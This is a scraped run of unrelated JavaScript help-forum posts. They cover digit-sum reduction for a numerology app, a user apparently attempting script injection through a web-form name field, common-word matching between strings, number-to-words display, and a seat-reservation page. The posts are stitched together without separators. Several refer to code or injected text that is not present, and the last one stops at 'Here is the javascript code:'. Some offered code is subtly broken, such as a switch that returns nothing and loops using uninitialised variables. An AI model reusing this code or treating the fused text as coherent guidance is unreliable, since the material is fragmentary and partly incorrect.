I'm making a Numerology conversion web app with JavaScript and HTML5. I've ran into a strange issue with a variable and loops. Below is my whole project in its current form.

So basically you enter your birthday and full name into a form. the script will then convert the name to numbers A = 1, B = 2.... and reduce both to single digits. the numbers will be added one by one. example. 13=4, 55=10, 63=9.
Here is the general code used to make reductions. Let's make PODN = 55
var PODNReduceFinal = 0;
var PODN = 55;
if (PODN > 9) {
var PODNLength = parseInt(PODN.toString().length);
var PODNTempString = PODN.toString();
var i = 0;
while (i < PODNLength) {
PODNReduce1 = parseInt(PODNTempString.charAt(i));
PODNReduceFinal += PODNReduce1;
i++;
}
}
Currently, it only loops once but I would like to have it get reduced to the lowest number possible. 1 in this case. I was thinking that if I change the if to a while it would accomplish this but it doesn't work the way I thought it would. I tried to make some changes and got stuck in a loop. So I started to troubleshoot. I added another variable to prevent the whole loop from looping infinitely.
var PODNReduceFinal = 0;
var PODN = 55;
while (PODN > 9) {
var PODNLength = parseInt(PODN.toString().length);
var PODNTempString = PODN.toString();
var i = 0;
while (i < PODNLength) {
PODNReduce1 = parseInt(PODNTempString.charAt(i));
PODNReduce2 += PODNReduce1;
i++;
}
var PODNReduceFinal = PODNReduce2;
var PODN = PODNReduce2;
}
Using this I thought when PODN would be checked by the while loop first it would run through the first steps. Get the length of the number, in this case 2. Convert it to a string so it can pull the digits one by one. Pull the digits in sequence with the length of the loop and convert them to numbers. Add them together in PODNReduce2, 55=10. Set PODNReduceFinal = 10, set PODN = 10. Then return to the first condition and check that PODN is now 10 and is greater than 9. Loop again to reduce further. Doing this until it's a single digit stored in PODNReduceFinal. But that's not what happens. When I try to display PODNReduceFinal I get NaN. Even if I revert the first "while" to "if" it still doesn't work. I'm at a loss. Please help.

A random user added this text as his name in a web form. I suppose his idea was to somehow inject Javascript into a dynamic page. How should this code be interpreted? (What does it do?)

It injects this into the page...
As for what it does... well, nothing really
It replaces some tags on the page with some "Administrator" text... without seeing the rest of your code I can't really tell, but it looks like it is mainly defacing the site to scare you
... <b id="user_superuser">

I am trying to make this work, I don't know what is wrong with it.
It used to work with only 3 variables, when I made it longer it stoped and now I cannot make it work even with only 3. Now it gives me "Undefined Undefined Undefined".
What I want is to crate an alarm in a way that it shows the name of whatever has gone under 10. The fields it is comparing from are calculation fields with the REPEATABLESUM() code.

from the below code I'm trying to get common words(from two strings given) without converting the strings into array. The below code is getting and displaying the common words but the problem is, this code is not removing all the duplicates as it shows all the common words without removing duplicates. I tried searching, but the solution is to use split() and filter(). Is there any other way to remove duplicates.
Thanks so much in advance.
function common() {
var str1 = "is hello and he is the only hello is"
var str2 = "is hello you and is and he and is the only";
var min = 0;
var max = 0;
var count = 0;
var count1 = 0;
var count2 = 0;
var out = '';
var out2 = '';
var out3 = '';
var len1 = str1.length;
var len2 = str2.length;
var output = '';
var temp = 0;
var temp1 = 0;
for (m = 0; m < str1.length; m++) {
temp1 = 0;
if (str1.charAt(m) == " " || m == str1.length - 1) {
count1++;
if (m == str1.length - 1) {
out1 = str1.slice(temp, m + 1);
} else {
out1 = str1.slice(temp, m);
}
for (i = temp1; i < str2.length; i++) {
if (str2.charAt(i) == " " || i == str2.length - 1) {
if (i == str2.length - 1) {
out2 = str2.slice(temp1, i + 1);
} else {
out2 = str2.slice(temp1, i);
}
temp1 = i + 1;
if (out1 == out2) {
if (out3.indexOf(out1) == -1) {
out3 += out1 + ' ';
} else if (out3.indexOf(out1) >= 0) {
var r = out3.indexOf(out1);
while (out3.charAt(r) != " ") {
r++;
}
if (r != out1.length) {
out3 += out1 + ' ';
}
}
}
}
}
temp = m + 1;
}
}
console.log(out3);
out = document.getElementById("tarea3");
out.value = out3;
}
<textarea id="tarea"></textarea>
<textarea id="tarea2"></textarea>
<textarea id="tarea3"></textarea>
<button type="button" onclick="common()">Run</button>
No arrays no regex you can get the common words like this. The rest is up to your processing.
var str1 = "is hello and he is the only hello is",
str2 = "is hello you and is and he and is the only",
lut = {},
stc = "",
i = 0;
while (i <= str1.length) {
if (str1[i] !== " " && i < str1.length) {
stc+=str1[i++];
} else {
lut[stc] = "unmatch";
stc = "";
++i;
}
}
i = 0;
stc = "";
while (i <= str2.length) {
if (str2[i] !== " " && i < str2.length) {
stc+=str2[i++];
} else {
lut[stc] = lut[stc] ? "common" : "unmatch";
stc = "";
++i;
}
}
console.log(lut);
I'm using an example based on the following example:
http://jsfiddle.net/5tt7d3e6/
In this, a function is created to turn a number into words.
The function is processed in the following HTML
<input type="text" name="number" placeholder="Number OR Amount" onkeyup="word.innerHTML=convertNumberToWords(this.value)" />
<div id="word"></div>
The above allows you to enter a number into a textbox. The function translates what you type as a number into words.
Is there an easy way to set a div which already holds the number, instead of typing it to display?'
Such as:
<div data="innerHTML=convertNumberToWords(1233213)"></div>
You can hookup an event handler for onreadystatechange and inside that you can put your logic.
Fiddle 1
document.onreadystatechange = function() {
word.innerHTML = convertNumberToWords(1233213);
};
However if you want show data based on existing value inside input, first put an id attribute for input
<input id="number" ... />
And then in JS:
document.onreadystatechange = function() {
word.innerHTML = convertNumberToWords(number.value);
};
Fiddle 2
Suggestion: use switch statment in convertNumberToWords()
switch(amount){
case 0: 'zero'; break;
default: 'Please enter number only!'; break;
}
If you want to write to the document as it is processed and not later.
<div id="word">
<script>
document.write(convertNumberToWords(12233456))
</script>
</div>
This is the recommended way though:
<div id="word"></div>
<script>
document.getElementById('word').innerHTML = convertNumberToWords(12233456);
</script>
--

I am creating a website application that allows users to select a seat, if it is not already reserved, and reserve it.
I have created a very round about way of getting the seats that are previously reserved using iFrames, however that was temporarily, now I need to make it secure and "proper javascript code" using proper practices. I have no clue what AJAX (or JSON) is, nor how to add it to this code, but it needs to get the file "seatsReserved"+this.id(that is the date)+"Que.html" and compare the string of previously reserved seats to see which class to make the element. If this is horrible, or if any of the other things could work better, I am open to criticism to everything. Thank you all!
Here is the javascript code:
A little side note, all of the if statements are due to different amount of seats in each row
